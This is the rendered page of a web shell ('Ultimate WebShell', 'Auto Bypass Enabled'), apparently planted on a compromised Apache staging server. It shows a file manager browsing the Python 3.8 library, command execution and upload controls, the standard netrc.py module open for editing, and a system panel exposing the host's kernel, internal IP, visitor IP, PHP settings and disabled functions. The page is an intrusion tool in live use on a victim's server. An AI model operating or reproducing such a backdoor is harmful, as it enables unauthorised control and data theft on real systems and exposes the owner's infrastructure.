WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core20
2866
usr
lib
python3.8
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 12:14:14
-
__pycache__
Folder
-
0755
2026-04-10 12:14:14
asyncio
Folder
-
0755
2026-04-10 12:14:14
collections
Folder
-
0755
2026-04-10 12:14:14
concurrent
Folder
-
0755
2026-04-10 12:14:14
ctypes
Folder
-
0755
2026-04-10 12:14:14
curses
Folder
-
0755
2026-04-10 12:14:14
dbm
Folder
-
0755
2026-04-10 12:14:14
distutils
Folder
-
0755
2026-04-10 12:14:14
email
Folder
-
0755
2026-04-10 12:14:14
encodings
Folder
-
0755
2026-04-10 12:14:14
html
Folder
-
0755
2026-04-10 12:14:14
http
Folder
-
0755
2026-04-10 12:14:14
importlib
Folder
-
0755
2026-04-10 12:14:14
json
Folder
-
0755
2026-04-10 12:14:14
lib-dynload
Folder
-
0755
2026-04-10 12:14:14
lib2to3
Folder
-
0755
2026-04-10 12:14:14
logging
Folder
-
0755
2026-04-10 12:14:14
multiprocessing
Folder
-
0755
2026-04-10 12:14:14
pydoc_data
Folder
-
0755
2026-04-10 12:14:14
sqlite3
Folder
-
0755
2026-04-10 12:14:14
test
Folder
-
0755
2026-04-10 12:14:14
unittest
Folder
-
0755
2026-04-10 12:14:14
urllib
Folder
-
0755
2026-04-10 12:14:14
venv
Folder
-
0755
2026-04-10 12:14:14
wsgiref
Folder
-
0755
2026-04-10 12:14:14
xml
Folder
-
0755
2026-04-10 12:14:14
xmlrpc
Folder
-
0755
2026-04-10 12:14:14
LICENSE.txt
File
13.6 KB
0644
2026-03-03 11:49:16
__future__.py
File
5.03 KB
0644
2026-03-03 11:49:16
__phello__.foo.py
File
64 B
0644
2026-03-03 11:49:16
_bootlocale.py
File
1.76 KB
0644
2026-03-03 11:49:16
_collections_abc.py
File
25.49 KB
0644
2026-03-03 11:49:16
_compat_pickle.py
File
8.54 KB
0644
2026-03-03 11:49:16
_compression.py
File
5.21 KB
0644
2026-03-03 11:49:16
_dummy_thread.py
File
5.89 KB
0644
2026-03-03 11:49:16
_markupbase.py
File
14.26 KB
0644
2026-03-03 11:49:16
_osx_support.py
File
21.26 KB
0644
2026-03-03 11:49:16
_py_abc.py
File
6.04 KB
0644
2026-03-03 11:49:16
_pydecimal.py
File
223.31 KB
0644
2026-03-03 11:49:16
_pyio.py
File
90.99 KB
0644
2026-03-03 11:49:16
_sitebuiltins.py
File
3.04 KB
0644
2026-03-03 11:49:16
_strptime.py
File
24.68 KB
0644
2026-03-03 11:49:16
_sysconfigdata__linux_x86_64-linux-gnu.py
File
25.23 KB
0644
2026-03-03 11:49:16
_sysconfigdata__x86_64-linux-gnu.py
File
25.23 KB
0644
2026-03-03 11:49:16
_threading_local.py
File
7.05 KB
0644
2026-03-03 11:49:16
_weakrefset.py
File
5.6 KB
0644
2026-03-03 11:49:16
abc.py
File
4.38 KB
0644
2026-03-03 11:49:16
aifc.py
File
32.04 KB
0644
2026-03-03 11:49:16
antigravity.py
File
477 B
0644
2026-03-03 11:49:16
argparse.py
File
94.05 KB
0644
2026-03-03 11:49:16
ast.py
File
18.78 KB
0644
2026-03-03 11:49:16
asynchat.py
File
11.06 KB
0644
2026-03-03 11:49:16
asyncore.py
File
19.62 KB
0644
2026-03-03 11:49:16
base64.py
File
19.9 KB
0755
2026-03-03 11:49:16
bdb.py
File
31.3 KB
0644
2026-03-03 11:49:16
binhex.py
File
13.63 KB
0644
2026-03-03 11:49:16
bisect.py
File
2.16 KB
0644
2026-03-03 11:49:16
bz2.py
File
12.26 KB
0644
2026-03-03 11:49:16
cProfile.py
File
6.83 KB
0755
2026-03-03 11:49:16
calendar.py
File
24.25 KB
0644
2026-03-03 11:49:16
cgi.py
File
33.14 KB
0755
2026-03-03 11:49:16
cgitb.py
File
11.81 KB
0644
2026-03-03 11:49:16
chunk.py
File
5.31 KB
0644
2026-03-03 11:49:16
cmd.py
File
14.51 KB
0644
2026-03-03 11:49:16
code.py
File
10.37 KB
0644
2026-03-03 11:49:16
codecs.py
File
35.81 KB
0644
2026-03-03 11:49:16
codeop.py
File
6.18 KB
0644
2026-03-03 11:49:16
colorsys.py
File
3.97 KB
0644
2026-03-03 11:49:16
compileall.py
File
13.36 KB
0644
2026-03-03 11:49:16
configparser.py
File
53.1 KB
0644
2026-03-03 11:49:16
contextlib.py
File
24.41 KB
0644
2026-03-03 11:49:16
contextvars.py
File
129 B
0644
2026-03-03 11:49:16
copy.py
File
8.46 KB
0644
2026-03-03 11:49:16
copyreg.py
File
6.97 KB
0644
2026-03-03 11:49:16
crypt.py
File
3.53 KB
0644
2026-03-03 11:49:16
csv.py
File
15.77 KB
0644
2026-03-03 11:49:16
dataclasses.py
File
48.8 KB
0644
2026-03-03 11:49:16
datetime.py
File
86.22 KB
0644
2026-03-03 11:49:16
decimal.py
File
320 B
0644
2026-03-03 11:49:16
difflib.py
File
82.09 KB
0644
2026-03-03 11:49:16
dis.py
File
20.09 KB
0644
2026-03-03 11:49:16
doctest.py
File
102.09 KB
0644
2026-03-03 11:49:16
dummy_threading.py
File
2.75 KB
0644
2026-03-03 11:49:16
enum.py
File
37.24 KB
0644
2026-03-03 11:49:16
filecmp.py
File
9.6 KB
0644
2026-03-03 11:49:16
fileinput.py
File
14.36 KB
0644
2026-03-03 11:49:16
fnmatch.py
File
3.98 KB
0644
2026-03-03 11:49:16
formatter.py
File
14.79 KB
0644
2026-03-03 11:49:16
fractions.py
File
23.76 KB
0644
2026-03-03 11:49:16
ftplib.py
File
34.31 KB
0644
2026-03-03 11:49:16
functools.py
File
36.53 KB
0644
2026-03-03 11:49:16
genericpath.py
File
4.86 KB
0644
2026-03-03 11:49:16
getopt.py
File
7.31 KB
0644
2026-03-03 11:49:16
getpass.py
File
5.85 KB
0644
2026-03-03 11:49:16
gettext.py
File
26.92 KB
0644
2026-03-03 11:49:16
glob.py
File
5.56 KB
0644
2026-03-03 11:49:16
gzip.py
File
20.91 KB
0644
2026-03-03 11:49:16
hashlib.py
File
9.5 KB
0644
2026-03-03 11:49:16
heapq.py
File
22.34 KB
0644
2026-03-03 11:49:16
hmac.py
File
6.47 KB
0644
2026-03-03 11:49:16
imaplib.py
File
52.35 KB
0644
2026-03-03 11:49:16
imghdr.py
File
3.72 KB
0644
2026-03-03 11:49:16
imp.py
File
10.29 KB
0644
2026-03-03 11:49:16
inspect.py
File
115.77 KB
0644
2026-03-03 11:49:16
io.py
File
3.46 KB
0644
2026-03-03 11:49:16
ipaddress.py
File
74.55 KB
0644
2026-03-03 11:49:16
keyword.py
File
945 B
0644
2026-03-03 11:49:16
linecache.py
File
5.21 KB
0644
2026-03-03 11:49:16
locale.py
File
76.36 KB
0644
2026-03-03 11:49:16
lzma.py
File
12.68 KB
0644
2026-03-03 11:49:16
mailbox.py
File
76.82 KB
0644
2026-03-03 11:49:16
mailcap.py
File
8.85 KB
0644
2026-03-03 11:49:16
mimetypes.py
File
21.16 KB
0644
2026-03-03 11:49:16
modulefinder.py
File
23.86 KB
0644
2026-03-03 11:49:16
netrc.py
File
5.44 KB
0644
2026-03-03 11:49:16
nntplib.py
File
42.25 KB
0644
2026-03-03 11:49:16
ntpath.py
File
25.21 KB
0644
2026-03-03 11:49:16
nturl2path.py
File
2.82 KB
0644
2026-03-03 11:49:16
numbers.py
File
10 KB
0644
2026-03-03 11:49:16
opcode.py
File
5.67 KB
0644
2026-03-03 11:49:16
operator.py
File
10.46 KB
0644
2026-03-03 11:49:16
optparse.py
File
58.95 KB
0644
2026-03-03 11:49:16
os.py
File
38.08 KB
0644
2026-03-03 11:49:16
pathlib.py
File
51.38 KB
0644
2026-03-03 11:49:16
pdb.py
File
61.27 KB
0755
2026-03-03 11:49:16
pickle.py
File
62.96 KB
0644
2026-03-03 11:49:16
pickletools.py
File
91.29 KB
0644
2026-03-03 11:49:16
pipes.py
File
8.71 KB
0644
2026-03-03 11:49:16
pkgutil.py
File
20.96 KB
0644
2026-03-03 11:49:16
platform.py
File
39.48 KB
0755
2026-03-03 11:49:16
plistlib.py
File
31.7 KB
0644
2026-03-03 11:49:16
poplib.py
File
14.72 KB
0644
2026-03-03 11:49:16
posixpath.py
File
15.14 KB
0644
2026-03-03 11:49:16
pprint.py
File
20.98 KB
0644
2026-03-03 11:49:16
profile.py
File
22.98 KB
0755
2026-03-03 11:49:16
pstats.py
File
26.7 KB
0644
2026-03-03 11:49:16
pty.py
File
4.69 KB
0644
2026-03-03 11:49:16
py_compile.py
File
7.96 KB
0644
2026-03-03 11:49:16
pyclbr.py
File
14.9 KB
0644
2026-03-03 11:49:16
pydoc.py
File
104.36 KB
0755
2026-03-03 11:49:16
queue.py
File
11.09 KB
0644
2026-03-03 11:49:16
quopri.py
File
7.08 KB
0755
2026-03-03 11:49:16
random.py
File
28.13 KB
0644
2026-03-03 11:49:16
re.py
File
15.49 KB
0644
2026-03-03 11:49:16
reprlib.py
File
5.14 KB
0644
2026-03-03 11:49:16
rlcompleter.py
File
6.93 KB
0644
2026-03-03 11:49:16
runpy.py
File
11.77 KB
0644
2026-03-03 11:49:16
sched.py
File
6.29 KB
0644
2026-03-03 11:49:16
secrets.py
File
1.99 KB
0644
2026-03-03 11:49:16
selectors.py
File
18.13 KB
0644
2026-03-03 11:49:16
shelve.py
File
8.33 KB
0644
2026-03-03 11:49:16
shlex.py
File
13.01 KB
0644
2026-03-03 11:49:16
shutil.py
File
50.27 KB
0644
2026-03-03 11:49:16
signal.py
File
2.22 KB
0644
2026-03-03 11:49:16
site.py
File
21.81 KB
0644
2026-03-03 11:49:16
sitecustomize.py
File
155 B
0644
2020-03-13 10:14:16
smtpd.py
File
33.9 KB
0755
2026-03-03 11:49:16
smtplib.py
File
43.75 KB
0755
2026-03-03 11:49:16
sndhdr.py
File
6.93 KB
0644
2026-03-03 11:49:16
socket.py
File
34.42 KB
0644
2026-03-03 11:49:16
socketserver.py
File
26.66 KB
0644
2026-03-03 11:49:16
sre_compile.py
File
26.07 KB
0644
2026-03-03 11:49:16
sre_constants.py
File
6.99 KB
0644
2026-03-03 11:49:16
sre_parse.py
File
39.29 KB
0644
2026-03-03 11:49:16
ssl.py
File
51.14 KB
0644
2026-03-03 11:49:16
stat.py
File
5.36 KB
0644
2026-03-03 11:49:16
statistics.py
File
38.76 KB
0644
2026-03-03 11:49:16
string.py
File
10.29 KB
0644
2026-03-03 11:49:16
stringprep.py
File
12.61 KB
0644
2026-03-03 11:49:16
struct.py
File
257 B
0644
2026-03-03 11:49:16
subprocess.py
File
75.52 KB
0644
2026-03-03 11:49:16
sunau.py
File
17.94 KB
0644
2026-03-03 11:49:16
symbol.py
File
2.06 KB
0644
2026-03-03 11:49:16
symtable.py
File
7.83 KB
0644
2026-03-03 11:49:16
sysconfig.py
File
24.45 KB
0644
2026-03-03 11:49:16
tabnanny.py
File
11.14 KB
0755
2026-03-03 11:49:16
tarfile.py
File
93.34 KB
0755
2026-03-03 11:49:16
telnetlib.py
File
22.71 KB
0644
2026-03-03 11:49:16
tempfile.py
File
32.15 KB
0644
2026-03-03 11:49:16
textwrap.py
File
18.95 KB
0644
2026-03-03 11:49:16
this.py
File
1003 B
0644
2026-03-03 11:49:16
threading.py
File
49.63 KB
0644
2026-03-03 11:49:16
timeit.py
File
13.16 KB
0755
2026-03-03 11:49:16
token.py
File
2.31 KB
0644
2026-03-03 11:49:16
tokenize.py
File
25.24 KB
0644
2026-03-03 11:49:16
trace.py
File
29.16 KB
0755
2026-03-03 11:49:16
traceback.py
File
23.06 KB
0644
2026-03-03 11:49:16
tracemalloc.py
File
16.68 KB
0644
2026-03-03 11:49:16
tty.py
File
879 B
0644
2026-03-03 11:49:16
turtle.py
File
140.35 KB
0644
2026-03-03 11:49:16
types.py
File
9.49 KB
0644
2026-03-03 11:49:16
typing.py
File
67.35 KB
0644
2026-03-03 11:49:16
uu.py
File
6.79 KB
0755
2026-03-03 11:49:16
uuid.py
File
29.75 KB
0644
2026-03-03 11:49:16
warnings.py
File
19.23 KB
0644
2026-03-03 11:49:16
wave.py
File
17.8 KB
0644
2026-03-03 11:49:16
weakref.py
File
20.89 KB
0644
2026-03-03 11:49:16
webbrowser.py
File
23.52 KB
0755
2026-03-03 11:49:16
xdrlib.py
File
5.77 KB
0644
2026-03-03 11:49:16
zipapp.py
File
7.36 KB
0644
2026-03-03 11:49:16
zipfile.py
File
87.05 KB
0644
2026-03-03 11:49:16
zipimport.py
File
30.04 KB
0644
2026-03-03 11:49:16
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: netrc.py
"""An object-oriented interface to .netrc files.""" # Module and documentation by Eric S. Raymond, 21 Dec 1998 import os, shlex, stat __all__ = ["netrc", "NetrcParseError"] class NetrcParseError(Exception): """Exception raised on syntax errors in the .netrc file.""" def __init__(self, msg, filename=None, lineno=None): self.filename = filename self.lineno = lineno self.msg = msg Exception.__init__(self, msg) def __str__(self): return "%s (%s, line %s)" % (self.msg, self.filename, self.lineno) class netrc: def __init__(self, file=None): default_netrc = file is None if file is None: file = os.path.join(os.path.expanduser("~"), ".netrc") self.hosts = {} self.macros = {} with open(file) as fp: self._parse(file, fp, default_netrc) def _parse(self, file, fp, default_netrc): lexer = shlex.shlex(fp) lexer.wordchars += r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~""" lexer.commenters = lexer.commenters.replace('#', '') while 1: # Look for a machine, default, or macdef top-level keyword saved_lineno = lexer.lineno toplevel = tt = lexer.get_token() if not tt: break elif tt[0] == '#': if lexer.lineno == saved_lineno and len(tt) == 1: lexer.instream.readline() continue elif tt == 'machine': entryname = lexer.get_token() elif tt == 'default': entryname = 'default' elif tt == 'macdef': # Just skip to end of macdefs entryname = lexer.get_token() self.macros[entryname] = [] lexer.whitespace = ' \t' while 1: line = lexer.instream.readline() if not line or line == '\012': lexer.whitespace = ' \t\r\n' break self.macros[entryname].append(line) continue else: raise NetrcParseError( "bad toplevel token %r" % tt, file, lexer.lineno) # We're looking at start of an entry for a named machine or default. login = '' account = password = None self.hosts[entryname] = {} while 1: tt = lexer.get_token() if (tt.startswith('#') or tt in {'', 'machine', 'default', 'macdef'}): if password: self.hosts[entryname] = (login, account, password) lexer.push_token(tt) break else: raise NetrcParseError( "malformed %s entry %s terminated by %s" % (toplevel, entryname, repr(tt)), file, lexer.lineno) elif tt == 'login' or tt == 'user': login = lexer.get_token() elif tt == 'account': account = lexer.get_token() elif tt == 'password': if os.name == 'posix' and default_netrc: prop = os.fstat(fp.fileno()) if prop.st_uid != os.getuid(): import pwd try: fowner = pwd.getpwuid(prop.st_uid)[0] except KeyError: fowner = 'uid %s' % prop.st_uid try: user = pwd.getpwuid(os.getuid())[0] except KeyError: user = 'uid %s' % os.getuid() raise NetrcParseError( ("~/.netrc file owner (%s) does not match" " current user (%s)") % (fowner, user), file, lexer.lineno) if (prop.st_mode & (stat.S_IRWXG | stat.S_IRWXO)): raise NetrcParseError( "~/.netrc access too permissive: access" " permissions must restrict access to only" " the owner", file, lexer.lineno) password = lexer.get_token() else: raise NetrcParseError("bad follower token %r" % tt, file, lexer.lineno) def authenticators(self, host): """Return a (user, account, password) tuple for given host.""" if host in self.hosts: return self.hosts[host] elif 'default' in self.hosts: return self.hosts['default'] else: return None def __repr__(self): """Dump the class data in the format of a .netrc file.""" rep = "" for host in self.hosts.keys(): attrs = self.hosts[host] rep += f"machine {host}\n\tlogin {attrs[0]}\n" if attrs[1]: rep += f"\taccount {attrs[1]}\n" rep += f"\tpassword {attrs[2]}\n" for macro in self.macros.keys(): rep += f"macdef {macro}\n" for line in self.macros[macro]: rep += line rep += "\n" return rep if __name__ == '__main__': print(netrc())
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED